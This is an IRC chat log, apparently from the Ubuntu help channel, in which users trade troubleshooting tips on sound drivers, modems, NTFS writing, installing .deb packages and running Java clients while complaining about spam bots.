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intelikeyspeakers plugged in propperly ?04:05
kelly_please help me install my modem in my laptop..using ubuntu..:(04:05
pepeyup04:05
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kelly_im a newbe..04:05
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carthikConcord_Dawn, an easy way to find out is to plug in the external device and immediately after, trype "dmesg" in a terminal, and then to read the output....04:05
pepeunplugged them, tested them on another box, plugged them back in04:05
pepeno sound04:05
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jsubl2kelly_, https://wiki.ubuntu.com/?action=fullsearch&context=180&value=modem&titlesearch=Titles04:05
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kelly_jsubl2: thanks for the link..'04:06
Webby`Help! I can't get embedded video to work. I get a black screen with the tottem controls at the bottom04:06
pepeUbuntu uses OSS as default? what?04:07
enchanterit use OSS as default04:07
pepe...04:07
pepethat's silly04:07
pepeeven so, it still doesn't work04:07
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funkyHatenchanter, no it doesn't04:08
intelikeypepe try "play <some_audio_file> "  and see if it errors04:08
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funkyHatit uses esd on top of alsa04:08
Gazer_Hi.. I'm new to Hoary.. How do you make changes to the boot up kernel arguments on a PPC (G3)?  I see no GRUB menu at bootup as explained in the howtos..04:08
pepeif I had any audio files at hand I would04:08
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enchanterfunkyHat, But it is on my laptop04:08
funkyHatdid you upgrade from warty?04:08
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pepeI just installed this, and I have no mp3's at hand :P04:09
intelikeypepe then how do you know it is not working ?04:09
ParisiIs there an easy way to rebuild the bootloader after the mbr has been wiped?04:09
funkyHat* enchanter04:09
Webby`anyone?04:09
pepeI'm trying out a program that should give me some sound04:09
pepenamely skype ^^04:09
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bmecoli-synaptic won't run... it prompts ofr password, then it does nothing.... no errors... nothing04:09
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stoeptegelcan someone tell me why my sata drives aren't accessible in kubunu-live?04:09
intelikeypepe "find /usr -name *.au "  and see if you have an audio file you can test with04:09
funkyHatpepe, try opening a terminal and typing killall esd04:09
funkyHatand then launch sype again04:10
Concord_Dawnok04:10
enchanterif you like. you can try this cnspy.bokee.com to find something about the ESD04:10
Concord_DawnI can't mount my NTFS drive as rw04:10
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seth_kConcord_Dawn, writing to NTFS drives is not supported except with (buggy) software that is not included with Ubuntu; you'd have to install it yourself04:10
bmecoli-Concord_Dawn, you don't want to from what I heard04:10
bmecoli-if you could writing to it would corrupt your data04:11
seth_kConcord_Dawn, it's very easy to hose your system.04:11
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funkyHatpepe, if that fixes it, upgrading to alsa 1.0.9b should fix your problem04:11
intelikeyfunkyHat pepe i didn't mean to be butting in there. yall go ahead.04:11
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kelly_when i tried to set up my internal modem in a laptop...it can not be detected... what shall i do?04:11
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pepeheh that's alright :P04:11
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Concord_Dawnwell04:11
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Webby`HELP! How do I get embedded video ro work? All I get is a black box with totem controls at the bottom04:11
Concord_DawnI want to rsync to my external HDD, which is formatted in NTFs04:11
ttyS0!wallpapers04:12
ubotuttyS0: What?04:12
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pepeI'll be back in a sec...04:12
kelly_when i tried to set up my internal modem in a laptop...it can not be detected... what shall i do? im a newbee,,,, please help,,04:12
dcunystoeptegel, by default all the "real" drives are hidden under the live cd. I assume Hubuntu is similar.04:12
ParisiStupid spammers!04:12
Gazer_Hello?04:12
intelikey<Concord_Dawn>   last i knew, linux still doesn't support rw mode for ntfs,  or but no rw04:12
bmecoli-wait... I think I know now04:12
Concord_Dawnargh04:12
bmecoli-it might still be locked04:12
bmecoli-dur04:12
Concord_Dawnwell, I want to backup Ubuntu!04:13
Webby`no one wants to help me?04:13
Concord_DawnAnd I can't do that without my external.04:13
ParisiIs there a way to only have registered nicknames be able to private msg me?04:13
Concord_Dawnyes.04:13
Concord_DawnParisi, /umode +CE04:13
dcunyThere's a script somewhere that let's you automatically set them up under the live cd, but I don't know what it is...04:13
ParisiThank you!04:13
dcunyLet me look...04:13
ParisiStupid spammers04:13
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spiderwormhey all what's the trick to silence the spammers again?04:13
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intelikeysure Webby` i just don't know anything about your problem.04:13
bmecoli-shouldn't someone report them?04:13
Parisi/umode +CE does not work04:13
bmecoli-and have their ip address klined?04:13
Carpe_LibertatemHow do I unmount a partition?04:13
spiderwormbmecoli-: you really think they're humans?04:13
dennis_WTF04:14
Webby`intellikey: I'm trying to make embedded video work from launch.com04:14
funkyHatCarpe_Libertatem, umount04:14
spiderwormbmecoli-: that might work actually04:14
dennis_Why did I get like 200000 pms04:14
dennis_of spam04:14
kelly_when i tried to set up my internal modem in a laptop...it can not be detected... what shall i do? im a newbee,,,, please help,,04:14
dcunyTry the script at:www.ubuntulinux.nl/files/winmac_fstab04:14
dennis_from this server?04:14
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ronald_Concord_Dawn: If you happen to have a copy of Ghost laying around it makes great backups04:14
Webby`intellikey: And all I get is a black box04:14
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Concord_Dawnronald_, I need NTFS WRITE SUPPORT!04:14
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Webby`intellikey: I tried using the HOWTO from the forum and followed the directions but it doesn't work04:14
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ronald_I used Ghost for NTFS and Raw04:14
intelikeyyes Webby`  i read that.  but i still don't know anything about it...  :/04:14
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Carpe_LibertatemSo to unmount /dev/hdb1, an ntfs drive, I'd type...04:15
bmecoli-holy fuck another one04:15
Webby`oh04:15
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funkyHatumount /dev/hdb104:15
Concord_DawnCarpe_Libertatem, umount /dev/hdb104:15
funkyHat(yes, i spelled the command right ;))04:15
Parisi<china_Girl> Free WebCamera04:15
ParisiHow the hell to i block that?04:15
intelikey<Carpe_Libertatem>  umount /dev/hdb104:15
ParisiIts getting on my nerves guys04:15
funkyHatParisi, /umode +CE04:15
naliothf***ING hardware shite04:15
funkyHatParisi, it's in the channel topic04:16
ParisiUMODE Unknown command04:16
lunitikfunkyHat, XChat knows about /umode?04:16
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bmecoli-you could ignore all... but that means that no one else can send you a msg04:16
funkyHatlunitik, does here04:16
ParisiI am under MIRC04:16
Concord_DawnParisi, do /mode Parisi +CE in your status window then.04:16
funkyHatif not then try /raw umode +CE04:16
lunitikParisi, /mode <your_username> +CE04:16
gdarelHow do I install a Deb file?04:16
Parisi * Parisi sets mode: +CE got it04:16
funkyHator that ^04:16
ParisiThanks guys04:16
lunitikParisi, good job04:17
funkyHatgdarel, sudo dpgk -i package.deb04:17
lunitikParisi, you're welcome04:17
Concord_Dawnronald_, mind pointing me to an old copy of ghost?04:17
gdarelTHANKS!04:17
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dcunyI've got a question about installing Ubuntu on non-i686 hardware...04:17
funkyHatnp04:17
lunitik!tell ops to change /umode +CE to /mode <username> +CE in topic ... all clients support this.04:17
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funkyHatgood call lunitik04:18
lunitikcafuego, no way to make the bot tell the bots something?04:18
Concord_Dawnindeed04:18
ParisiAgreed04:18
lunitikcafuego, no way to make the bot tell the ops something?04:18
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Concord_Dawnjsut msg Seveas.04:18
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Concord_Dawnjust*04:18
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lunitikConcord_Dawn, rather not... me and Seveas don't exactly get along...04:18
ParisiIs there an easy way to rebuild the bootloader after the mbr has been wiped accidently?04:18
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Concord_DawnI'll msg then.04:18
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lunitikConcord_Dawn, plus it appears he's not online....04:19
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gdarelfunkyhat, when I type sudo dpgk -i cinelerra_1.2.2-2_i386.deb I get a comand not found04:19
Concord_Dawntrue.04:19
lunitikgdarel, dpkg04:19
Concord_Dawnleave him a memo then.04:19
funkyHatdpkg04:19
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funkyHatsorry if that was my typo04:19
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funkyHatyeah, it was, oops04:19
intelikey<gdarel> How do I install a Deb file?what you were told works but you might consider using apt-get insted,  read up on it "man apt-get"04:19
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ronald_bye guys... got to run.04:20
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Concord_Dawn[22:20:03] -MemoServ- [Seveas]  is rejecting all memos04:20
Concord_Dawnwell how f***ing nice04:20
lunitikhaha04:20
lunitikWho else is an op in here?04:20
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kelly_hello...ppl..when i tried to set up my internal modem in a laptop...it can not be detected... what shall i do? im a newbee,,,, please help,,04:20
Concord_Dawndunno04:20
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Carpe_LibertatemI am trying to delete and format an NTFS partition. I am getting errors using qtparted.04:20
bimberi!tell lunitik about ops04:20
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Carpe_LibertatemNo Implementation: Support for opening ntfs file systems is not implemented yet.04:21
Carpe_LibertatemError: Filesystem was not cleanly unmounted!  You should e2fsck.  Modifying an u nclean filesystem could cause severe corruption.04:21
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naliothCarpe_Libertatem: you are using the wrong tool, use cfdisk or fdisk instead04:21
Carpe_Libertatemnalioth, so what do I do if I want to delete the partition /dev/hdb1 ?04:22
intelikey<Carpe_Libertatem> I am trying to delete and format an NTFS partition. <---- i'm not sure i follow you.  are you trying to delete the partition, or format the partition ?   because if you delete a partition there is nothing there to format....04:22
Parisibrb04:22
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dcunyAnyone (help on installing on non-i686 hardware)? Beuller?04:22
dcuny*sigh*04:23
naliothCarpe_Libertatem: use fdisk or cfdisk and have them do it for you04:23
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fridimhi04:24
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pepewell, that didn't work04:24
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pepeI downloaded a wav file04:24
pepeI also tried that music player program, and turned on one of the radio station04:24
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CarlFKHP print/scan/fax thing bought new in the last year (don't know the model) - what are the chances of it showing up under "new printer/detected printers"?04:24
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lunitikpepe, you have gstreamer0.8-mad installed?04:25
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pepeVolume Meter shows that there is, in fact, some form of sound going on, but my headphones aren't working04:25
fridimi've just installed ubuntu. During the installation it didn't ask me a root password. How can i do now ?04:25
pepehm, I'll apt-get it, one sec04:25
lunitikpepe, wait... thats not for wav files04:25
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pepeah roger...04:25
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lunitikpepe, yeah... you should get it anyways... mp3 support04:25
pepek04:25
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intelikey<CarlFK> usb devices ?04:25
puzzlehello04:25
CarlFKintelikey - huh?04:26
puzzledoes anyone know how i run batch files on ubuntu04:26
CarlFKhi puzzle04:26
pepeit does seem like a hardware problem04:26
bimberiCarlFK: I've got printing and scanning on my HP multifunction, let me find that page...04:26
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pepebut debian worked with sound just fine before I installed Ubuntu on this box04:26
lunitikpuzzle, batch files... as it .BAT? you don't04:26
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puzzleu cant04:26
CarlFKall I (er, friend on the phone) needs is print04:26
puzzleu cant rune .bat04:26
puzzlerun .bat04:26
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pepewine *.bat ^^04:27
naliothpuzzle: they are called 'scripts' and you run them from a terminal like so "./scriptname" or "sh scriptname"04:27
puzzlewell i am trying to run a client04:27
Carpe_Libertatemnalioth, how do I point cfdisk to /dev/hdb - right now it's on /dev/hda04:27
bimberiCarlFK: https://wiki.ubuntu.com/HpPscHpPhotosmartSeriesAllInOnePrinters04:27
CarlFKpuzzle - you can run "bash scripts" which is like a "dos .bat file"04:27
intelikeypuzzle make them executable04:27
naliothCarpe_Libertatem: start it with "sudo cfdisk /dev/hdb"04:27
CarlFKbimberi - thanks04:27
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puzzlewell wait what i mean is i have a java files04:27
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puzzleand i want to run them with the cleitn04:27
puzzleclient04:27
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puzzlehow04:28
puzzlei have all the .class files04:28
puzzlewho will let me show them or something04:28
bimberiCarlFK: yw :)04:28
bmecoli-damn04:28
bmecoli-still doesn't want to run04:28
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naliothpuzzle: see the /topic re pastebins or #flood04:28
bmecoli-whyyyyyyyyy?04:28
pepeso, anyone else got any ideas about how to get sound working properly?04:29
puzzleno basicly i have .class files for a game client and i want to run them and on windows u use client.bat04:29
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puzzleso how would i run them04:29
pepeit seems like Ubuntu just isn't working properly with my onboard sound card04:29
XRangeanyone got Minolta 2430 dl printing in evolution & mozilla-firefox04:29
mebaran151why does everyone give abiword such a bad rap04:29
mebaran151it seems like a decent wordprocessor for all my work, and relatively well integrated too04:30
paulwpepe, i feel ya man04:30
puzzlewho wants to help m04:30
paulwpepe, same here, what chipset do you have?04:30
pepe0000:00:11.5 Multimedia audio controller: VIA Technologies, Inc. VT8233/A/8235/8237 AC97 Audio Controller (rev 60) <-- that's the card04:30
pepeit's an onboard one04:30
puzzlei have that one04:30
puzzlelol04:30
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pepefunny, since VIA AC97 is pretty much what most people out there have :-\04:30
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Jazy84hey guys i got a question for you guys.04:30
puzzleso who can help me04:30
Jazy84how can i find out what the path is to my external dvd burner04:31
puzzlerun the java class files04:31
glaucoh man it looks like the wrong night for me to ask for help04:31
pepepuzzle, do you have jre?04:31
paulwanyone know how to manually setup a card that is obviosly recognized by the OS yet doesn't put out any sound for some reason?04:31
puzzleyes04:31
Jazy84when i plug it in i can see it and i can use it but i need to know the specfic path..04:31
Jazy84and ideas?04:31
glauchow do I make my Intel 82915G built-in driver compile?04:31
bimberipepe, paulw: have you tried this (it worked for me on two different PCs with onboard sound - easily undone if it doesn't work) - http://ubuntuforums.org/showpost.php?p=19639&postcount=804:31
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puzzlewell who can help04:32
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pepebimberi I'll give that a shot...04:33
intelikeypaulw run alsamixer  as root and unmute it.04:33
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puzzle...04:33
bimberipepe: hope it helps :)04:33
puzzleanyone04:33
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nate_Does anyone know of an ISO creator for Linux?04:33
paulwintelikey, not muted04:33
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intelikeymkiso :)04:33
paulwintelikey, alsamixer looks goos04:34
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!lilo:*! Possible server splits may follow. Please bear with us.04:34
puzzlehttp://img121.imageshack.us/my.php?image=screenshot4is.png04:34
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puzzlehttp://img121.imageshack.us/my.php?image=screenshot4is.png04:34
lunitiknate_, intelikey really means mkisofs04:34
puzzlelook at taht04:34
pepepaulw04:34
pepeby the way04:34
lunitiknate_, apt-get it04:34
pepedid you set alsa as the standard sound driver? ^^04:34
XRangeanyone got Minolta 2430 dl printing in evolution & mozilla-firefox04:34
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intelikeyif muted  [MM]  at the bottom of the column ...04:35
!lilo:*! Looks like we're good. Cancel the alert, and thanks. ;)04:35
puzzlehello04:35
puzzleomg no one here can help04:35
pepeApplications > Sound Video > Volume Control > File > change device04:35
pepe:P04:35
pepemine was OSS by default04:35
pepeof course, neither setting worked anyways04:35
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nate_how do I use this? Is it run right through terminal?04:35
puzzlehello04:36
puzzlehello hello04:36
puzzleam i muted04:36
puzzlecan no one hear me04:36
nate_Hello Puzzle04:36
puzzleNakkel,04:36
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intelikeypuzzle type  "google.com/linux" in your browser and search for "howto run java scripts"   :)04:36
kelly_i have made a scanmodem...but i dont know wer to find what is the model of my modem..im new.. this is my modemdata.txt ...please tell me what is my mode.. http://pastebin.com/34973704:36
pepebash: ro: command not found04:36
pepehm04:36
puzzleomg but i bet someone can help04:36
puzzleintelikey,04:36
puzzlethats what this channel is here for04:36
cafuegojava -jar foo.jar is how to run java.04:36
pepebimberi I can't really do what that link tells me, here :P04:36
intelikeyno it's not.04:37
cafuegoif you need javascript, get your head checked04:37
puzzlelol yea it is04:37
puzzlelook at ubuntuguide.org04:37
puzzlehttp://img121.imageshack.us/my.php?image=screenshot4is.png04:37
puzzlelook at that pic04:37
reikipuzzle: help comes faster to those that at least attempt to help themselves04:37
kelly_please help me..:(04:37
puzzlei have kept tryin and tryin04:37
kelly_i have made a scanmodem...but i dont know wer to find what is the model of my modem..im new.. this is my modemdata.txt ...please tell me what is my model.. http://pastebin.com/34973704:37
kelly_please help..04:38
puzzlehttp://img121.imageshack.us/my.php?image=screenshot4is.png04:38
kelly_:(04:38
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bimberipepe: yes you'll need to edit that file (menu.lst) and reboot i'm afraid04:38
cafuegopuzzle: hint: a .BAT is for DOS.04:38
puzzleok04:38
Concord_Dawnis there any way for me to backup to NTFS?04:38
puzzlewell what do i do04:38
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cafuegopuzzle: See whati's in that file, run the Linux equivalent.04:38
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intelikeywell i could care less what some doc on ubuntu.org says about the perpose of the channel. puzzle i am not here to do web searches for you.   your question is java specific, not ubuntu specific.04:38
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pepewhich file?...04:38
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pepeohh04:38
pepenm ^^04:38
pepewhoops...04:38
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bimberik :)04:39
cafuegoit will be "java -cp SOmethingorother foo"04:39
puzzle@echo off04:39
puzzletitle The Revolution - By Spikes Of Christ [SOC]  and Tsunami www.rsrevolution.net04:39
puzzlejava -cp .;./BIN; client04:39
puzzlepause04:39
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puzzlethats what the .bat says04:39
XRangeanyone got Minolta 2430 dl printing in evolution & mozilla-firefox prints from OpenOffice fine04:39
delltonyrainmen stop spamin you freakin dumbarse04:39
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puzzle.bat04:39
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puzzleclient .bat04:40
Concord_Dawnerm04:40
puzzle@echo off04:40
puzzletitle The Revolution - By Spikes Of Christ [SOC]  and Tsunami www.rsrevolution.net04:40
puzzlejava -cp .;./BIN; client04:40
puzzlepause04:40
kelly_i have made a scanmodem...but i dont know wer to find what is the model of my modem..im new.. this is my modemdata.txt ...please tell me what is my model and brand of my modem.. http://pastebin.com/34973704:40
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cafuegopuzzle: "java -cp .;./BIN; client"04:40
delltonywhats with all the spam bots lately?04:40
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kelly_please help :(04:40
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cafuegopuzzle: ALso, please don't paste into the channel.04:40
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intelikeypuzzel read the topic04:40
puzzlesorry04:40
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puzzleim sorry04:40
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puzzleok04:40
puzzleim sorry04:40
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puzzlenow what file do i make to run that04:40
puzzlecafuego,04:40
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cafuegowhat do you mean make a file, just typ eit.04:40
paulwpepe, you still here?04:40
kelly_hello???? please help??????04:40
puzzleno not that04:40
delltonythere we go i nneed to read the topic haha04:40
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puzzlei cant run the .bat04:41
cafuegoactually, java -cp .:./BIN client04:41
paulwpepe, i don't see which line i need to add acpi_irq_isa=7 to04:41
puzzlethats what the .bat says04:41
cafuegopuzzle: I've told you TWICE now what to run04:41
puzzleso i can i make a linu04:41
puzzlehow do i run it04:41
puzzlehow04:41
puzzlecaf04:41
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puzzlecafuego,  please04:41
puzzlejust say04:41
kelly_hello?????04:41
puzzlei am not that smart when it comes to this04:41
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puzzlecafuego, please04:41
Concord_Dawnis there any way for me to backup to NTFS?04:42
puzzleomfg04:42
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puzzlecan someone just tell me04:42
naliothConcord_Dawn: writing to NTFS from linux is a good start to an all-linux system04:42
funkyHatpuzzle, maybe in a terminal window?04:42
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Concord_DawnI'm running a dual-boot.04:43
naliothpuzzle: .bat files run on windows04:43
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puzzlenalioth, a lil late i know that04:43
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naliothConcord_Dawn: writing to NTFS can cause total NTFS partition failure04:43
XRangeanyone got Minolta 2430 dl printing in evolution & mozilla-firefox .                prints from OpenOffice fine04:43
xulMunkeecan LGPL software be modified and re-released as pure GPL?04:43
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Concord_Dawnnalioth, yeah, I know.04:43
intelikeyjava -cp .;./BIN; client             puzzle   if you are too lame to type the command from the .bat file    and to lazy to even read a howto      tell me why we should care if you get that to work or not ?     please tell me why ?04:43
Concord_DawnSo is there a way for me to do it from WindowS?04:43
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puzzlezzle   if you are too lame to type the command from the .bat file    and to lazy to even read a howto      tell me why we should care if you get that to work or not ?     please tell me why ?04:44
puzzleConcord_Dawn So is there a way for04:44
puzzleoops04:44
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puzzleit did not work04:45
ukjohndConcord_Dawn I use Acronis True image - works fine for me in XP04:45
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=== burner wonders whats with all the irc spam these days??
puzzledasameog@ubuntu:~/Desktop$ java -cp .:./BIN client04:45
puzzleException in thread "main" java.lang.NoClassDefFoundError: client04:45
naliothburner: see the /topic04:45
seth_kburner, it's an attack right now04:45
carthikalright, so what could be preventing my usb drives from being detected and mounted?04:45
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puzzlehello04:46
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puzzledid anyone see what i said04:46
pprince_Hi.  How do I get a newer irssi in Ubtunu 5.04 (HH)?  irssi-text is 0.8.9 and irssi-snapshot is "0.8.6+cvs.20031111".  With irssi-snapshot installed, irssi --version reports 0.8.604:46
pprince_irssi cvs is fine/great.04:46
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XRangeis there a channel for printing in Ubuntu04:46
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burnerpprince_, newer than .8.9?  compile from source? :)04:46
xulMunkeecan LGPL software be modified and re-released as pure GPL?04:46
pprince_burner: Yeah, exactly, but I was hoping there was a package to do it for me :P04:47
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lunitikWill Muine play .pls files? Rhythmbox is horribly broken  :(04:47
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burnerapt-get.org maybe?  be careful with those though04:47
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kelly_i have made a scanmodem...but i dont know wer to find what is the model of my modem..im new.. this is my modemdata.txt ...please tell me what is my model and brand of my modem.. http://pastebin.com/34973704:47
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kelly_hello???? please help??????04:47
carthikalright, so if i wanted to manually mount the usb hdd, how would i figure out which /dev/* to mount?04:47
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carthikdmesg is not too helpful today on the desktop04:48
puzzleholly04:48
burnerlunitik, i've been using beep, xfmedia, & amarok for the time being04:48
puzzleno one here helps04:48
puzzlei did what they say04:48
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lunitikburner, beep maybe... hmm04:48
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pprince_Maybe I'm missing something about irssi-snapshot, but isn't that supposed to install a nightly development snapshot from CVS?04:48
carthikpuzzle, folks try to help - and say nothing when they can't help... thats the way it works... for free04:48
lunitikburner, assume its very much a known bug then?04:48
jsubl2kelly_, try running sudo wvdial   maybe you will get lucky04:48
burnerlunitik, in rhythmbox?  using breezy?04:48
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lunitikburner, yes04:49
puzzlethey are not sayin they cant help04:49
burneryep :)04:49
puzzlemy goodness04:49
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burnernew version was released today, but it didn't fix it for me04:49
burnersupposedly it did for another lucky soul04:49
lunitikburner, k... cool... saves me a trip to b-u-c   :)04:49
pprince_helin is a SPAMMER04:49
carthikpuzzle, what i intended to say is that there is no obligation :)04:49
burneri came here earlier today with the same question ;)04:49
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puzzlei know04:49
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puzzlebut still04:49
puzzlemy goodnes04:49
carthikwhat?04:49
kelly_jsubl2: no luck..:(04:49
kelly_any suggestion?04:49
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jsubl2kelly_, no sorry.  have not used a modem in a long time.04:50
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tod_ko1Hmm... this room has porn bots!04:50
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tod_ko1Later04:50
pprince_YES.04:50
Juhazpuzzle, would you rather every last of the 315 people on the channel explicitly told you that they do not, in fact, know the answer?04:50
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funkyHattod_ko1, read the /topic04:50
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lunitikburner, ooo... beep is quite nice... thanks   :)04:50
kelly_i realy dont know what is the modem of my laptop... i have tried scanmodem...but there are many txt..i dont know where is the model of my modem04:50
pepealright04:51
pepestill no go on the sound system04:51
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puzzlemy goodnness why do people come in here to help if they done04:51
bimberipepe: darn! oh well :(04:51
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pprince_OPs: Channel has coordinated spammers from different hostmasks, changing nicks and connecting from different hosts.04:52
naliothpuzzle: rewrite your batch file04:52
MaxKyotoi've switched my window manager to blackbox, but for some reason my xsession file in $HOME isn't being used... any ideas?04:52
puzzlehow04:52
puzzlenalioth,04:52
naliothpprince_: see the /topic04:52
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pprince_oh, sorry.04:52
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puzzledid u see what happens when i d that04:52
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robotgeekMaxKyoto: what are u using gdm/kdm?04:53
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MaxKyotogdm04:53
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carthiklets try this another way - /dev/sda1 on this desktop is a scsi harddrive... /dev/sda3 and /dev/sda5 are other partitions on the harddrive (boot - swap and / respectively). So now if i plug in a usb drive, what would it be recongnized as - sorry - dmesg tells me nothing about the usb device being plugged in....04:53
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robotgeekMaxKyoto: i think you might have to create a session or so, /etc/gdm/sessions04:54
pepeI'm on a VIA AC97 sound controller, and I can't get sound to come out of my headphones... I've tested them in other comps, and I used to get sound out of this box a couple days ago when I had Debian on it04:54
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intelikeykelly_ did you try setting modem to /dev/ttyS0   or /dev/ttyS1  or S2 S3  to see if it was a hardware moden04:54
pprince_carthik: actually, /dev/sda is the drive and /dev/sda1, /dev/sda2, etc are all partitions.04:54
carthikrobotgeek, hi! the usb thingy still no worky04:54
pepeI've checked everything that's come to mind, including whether it's muted or not04:54
chucky_aumix and check sound levels an mute04:54
XRangehave you opened mixer to unmute04:54
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pepealso, Volume Meter shows that there's sound output going on, but I'm not getting anything04:54
robotgeekcarthik: not even lsusb output?04:54
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carthikpprince_, oh, alright... so where would the usb drives be, if at all?04:54
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MaxKyotoi have no /etc/gdm/sessions04:54
pprince_carthik: and, if dmesg said nothing, then the drive is probably not being recognized at all by the kernel because of lack of driver support (either compiled in or loaded as a module)04:54
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MaxKyotoshould i not use the session from the gdm chooser?04:55
pepesound is unmuted and at decent levels04:55
carthikrobotgeek, lsusb gives naught04:55
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ksmurfWOW! That was cool!  The startup in breezy hasn't done anything till this update.  I had a black screen with ubuntu refected during startup.... that was COOL!04:55
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GoClickAre there any good public DNS servers anyone knows of? My provider's servers keep crashing and that's not so good04:55
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carthikpprince_, how come it works just fine on my laptop though? (which also runs same ubuntu version etc)04:55
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pprince_carthik: I don't know.04:55
carthikpprince_, the usbmodules are loaded....04:55
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pprince_carthik: Compare lsmod on your desktop and your laptop.04:56
robotgeekMaxKyoto: make a copy of whatever session is present, and edit it to use blackbox04:56
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pepeanyone know what I can do to troubleshoot my sound system here?04:56
XRangeGoClick used your router gatway as dns04:56
robotgeekcarthik: maybe, the harddrive doesn't work without usb 2.0? :))04:56
ksmurfpepe ....  what's the issue04:56
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pepewell04:56
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pepeall my channels are unmuted04:56
GoClickXRange our router doesn't DO DNS :(04:56
pepebut I just can't get any sound04:56
MaxKyotoi already have a blackbox session in gdm (via apt-get install blackbox)04:57
ksmurfwhat card ?04:57
carthikpprince_, lsmod yields same results... on dektop it give u/o/ehci_hcd (usbcore)04:57
pepeVIA AC9704:57
pprince_carthik: huh?04:57
carthikrobotgeek, but it does, just fine on another desktop (i plugged into into another...)04:57
pepewhich is strange, because it's just about the most common sound controller I've seen :P04:57
ksmurfAC97 ...... Did you check the forums?04:57
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WillySillythe colony 3 cd isnt on the website04:57
pprince_carthik: Are you using the same kernel package on both machines?04:57
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burnerlunitik, glad you like beep :)04:57
carthikpprince_, lsmod | grep usb gives usbcore 3 uhci_hcd, ehci_hcd, ehci_hcd is what i meant04:57
pepethere seemed to be some sort of solution having to do with the grub booter but still no go04:57
carthikpprince_, yes04:58
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funkyHatpepe, have you tried it with anything other than skype?04:58
carthikpprince_, in fact i finished installing everything concurrently on both machines :)04:58
pepeyup04:58
robotgeekcarthik: do the usb ports work?04:58
pepeI've tried it with a .wav file, and with a radio station thing04:58
pepesame thing04:58
XRangeis there a channel for printing in Ubuntu04:58
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pprince_carthik: :/ sorry then, I don't have time to help, or experience with that particular issue to help well/quickly in any case.04:58
pepeVolume Meter shows sound output going on, but I get nothing on my headphones04:58
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ksmurfpepe ... sorry I don't have AC97 on this board so I won't be any help04:58
keithackness- im havinga ton of trouble getting hte synaptic package manager to work04:58
carthikrobotgeek, when i plug in a 128 sandisk cruzer, the lights on the 128MB card come on real bright04:58
keithit keeps reporting some kind of problem with kmix04:59
keithheres the error:04:59
robotgeekcarthik: ahhh!04:59
robotgeekcarthik: weird!!04:59
keithim attempting to install the sun java sdk04:59
carthikpprince_, i really appreciate your help.... i am too puzzled to know what to do next... really04:59
leeis there a way to tell the Software Update thingy in the panel next to the clock to ignore certain updates?  it's telling me there's an update for a java package, which I built manually, and there isn't04:59
WillySillythe colony 3 cd isnt on the website04:59
keithE: /var/cache/apt/archives/sun-j2re1.5_1.5.0+update04_i386.deb:  files list file for package `kmix' is missing final newline04:59
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kelly_intelikey: yes i have... when i set it to /dev/ttyS1 if i connect it will say modem not responding.. if i change it to the diferent../dev/ttySo or other tty the error is.. cannot open modem...:(04:59
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keithanyone know what i can do about this? its happening whenever i try to install ANYTHING05:00
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robotgeekcarthik: what usb hdd is this?05:00
Jazy84what program can be used to make dvd imgs05:00
carthikrobotgeek, i know.... well, my desktop must have had a real rough day, i suppose :)05:00
Jazy84exact05:00
Jazy84?05:00
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Jazy84not movies or anything like that. but data05:00
chucky_i didn't think java would run on ubuntu05:00
naliothchucky_: it does05:00
carthikrobotgeek, its a 200 gig seagate in a external usb enclosue (but even the sandisk 128 mb usb stick wont work)05:00
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depraveanyone have luck with installing scribus 1.3?05:01
robotgeekcarthik: i have a similar setup05:01
QMarioCan I use my Yahoo e-mail account with Evolution?05:01
pprince_I like how irssi-text refers to irssi-snapshot as "irssi-snapshot: Development version of the text-mode client" but it's not.05:01
depraveQMario : does yahoo have pop3?05:01
depraveor imap?05:01
depraveetc05:01
pepeah here we go05:01
depraveanyone have luck with installing scribus 1.3?05:01
pepehow do I disable esd again?05:01
intelikeylooks like it is /dev/ttyS1 (com2 in windows) but a winmodem  so if you are really lucky kelly_ you might find a driver for it,  check linmodem.com or something like that.05:01
pepeand use alsa instead05:01
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deprave!scribus05:01
ubotudeprave: NO SPEAKE ENLISH!05:01
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deprave!tell deprave about scribus05:02
depraveuseless.05:02
funkyHatQMario, if you can set up yahoo to use pop3 and smtp, then yes (i think you can do the pop3, not sure about smtp though, so you may not be able to send mail, unless you have another email account)05:02
naliothQMario: you'll need something like yahooPOPs or similar05:02
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master008hi05:02
naliothfunkyHat: yahoo doesnt do pop3 unless you pay05:02
robotgeekQMario: thunderbird has a nice webmail plugin05:02
pepeI think my problems may be with the esd sound daemon05:02
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QMarioHow do I stop these spam robots?05:02
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pprince_QMario: Topic.05:02
robotgeekQMario: /topic05:02
pepeQMario /umode +CE05:02
intelikeyi hate propritary hardware.....05:02
pprince_QMario: I wish they would just eliminate them, though.05:02
pprince_What is +CE anyway?05:02
bimberi!umode05:03
ubotuThe freenode user modes are described at http://freenode.net/using_the_network.shtml05:03
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pprince_thx, trying to find that.05:03
master008i have wireless card,,, how do i install my wireless network card in my laptop.. im using ubuntu05:03
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depravecrap05:03
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QMarioThank you!05:03
master008anybody help me05:03
XRangepepe:  try system, perefences, multimedia system selector05:03
QMarioWho wants to look at pornography anyway? :'(05:04
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pepehmm05:04
QMarioNot me! >:o05:04
lunitiksup @ smeg being quite nice  :o05:04
pepeALSA doesn't work?...05:04
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pprince_eww, +CE breaks stuff for me.  Are the spam bots too smart to deal with properly?05:04
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intelikey!+wifi05:04
ubotuit has been said that wifi is https://wiki.ubuntu.com/WiFiHowto05:04
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XRangepepe:  thats if you use gnome05:04
naliothpprince_: what does it break?05:04
Concord_Dawnpprince_, Spam bots are too stupid to deal with it at all.05:04
master008any body wanna help me05:05
pepeI -am- using gnome05:05
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Concord_Dawnmaster008, with what?05:05
master008i want to install my wireless network card on my laptop.05:05
Concord_Dawnok05:05
Concord_Dawnwhat wireless card?05:05
pepewhen I picked ALSA instead of ESD, I got an error that it can't make a pipeline to ALSA...05:05
lunitikpprince_, people that aren't registered can't message you... if this is related to your 'breaks' ... tell your 'friend' to register...05:05
QMarioIs it possible to use Evolution with Gmail?05:05
intelikey!+tell master008 about wifi05:05
ubotutold master008 about wifi (rumour has it, wifi is https://wiki.ubuntu.com/WiFiHowto)05:05
pprince_Receiving (wanted) personal CTCP messages, sending (wanted) CTCP replies, and receiving (wanted) messages from unidentified users.05:05
master008its 11m wlan card05:05
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GoClickQMario not really no05:05
QMario!spam05:05
ubotuQMario: What?05:05
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Concord_Dawnpprince_, well, deal with it. It's either that or being flooded.05:05
bytefooman, 3ddesktop is kind of laggy huh05:05
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pprince_heh, whatever.05:05
Concord_Dawnbytefoo, yeah, but it's elite looking05:06
GoClickAlthough I predict Google will add IMAP interfaces to GMAIL eventually, OR someone will make one05:06
QMarioCan I use Gmail with Thunderbird?05:06
Concord_Dawnmaster008, check out the link ubotu just gave you05:06
